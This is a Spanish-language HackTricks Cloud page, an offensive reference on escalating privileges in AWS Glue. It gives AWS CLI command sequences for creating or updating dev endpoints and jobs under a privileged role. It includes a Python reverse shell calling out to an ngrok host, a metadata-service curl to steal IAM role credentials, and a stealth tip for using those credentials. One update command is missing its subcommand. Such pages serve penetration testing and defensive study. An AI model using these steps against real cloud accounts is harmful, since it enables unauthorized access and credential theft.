AWS - Glue Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
glue
iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Los usuarios con estos permisos pueden configurar un nuevo AWS Glue development endpoint, asignando un service role existente que Glue pueda asumir con permisos específicos para este endpoint.
Después de la configuración, el atacante puede conectarse por SSH a la instancia del endpoint, y robar las credenciales IAM del role asignado:
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Con fines de sigilo, se recomienda usar las credenciales de IAM desde dentro de la máquina virtual de Glue.
Impacto potencial: Privesc al glue service role especificado.
glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Los usuarios con este permiso pueden alterar la clave SSH de un endpoint de desarrollo de Glue existente, habilitando el acceso SSH al mismo. Esto permite al atacante ejecutar comandos con los privilegios del role adjunto al endpoint:
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Impacto potencial: Privesc al rol de servicio de glue utilizado.
iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)
Usuarios con iam:PassRole combinado con either glue:CreateJob or glue:UpdateJob, y either glue:StartJobRun or glue:CreateTrigger pueden crear o actualizar un AWS Glue job, adjuntar cualquier cuenta de servicio de Glue, e iniciar la ejecución del job. Las capacidades del job incluyen ejecutar código Python arbitrario, que puede explotarse para establecer una reverse shell. Esta reverse shell puede luego utilizarse para exfiltrar las credenciales IAM del rol adjunto al job de Glue, conduciendo a acceso no autorizado o a acciones basadas en los permisos de ese rol:
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
Impacto potencial: Privesc al role de servicio glue especificado.
glue:UpdateJob
Con solo el permiso update, un atacante podría robar las IAM Credentials del role ya adjunto.
Impacto potencial: Privesc al role de servicio glue adjunto.
References
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

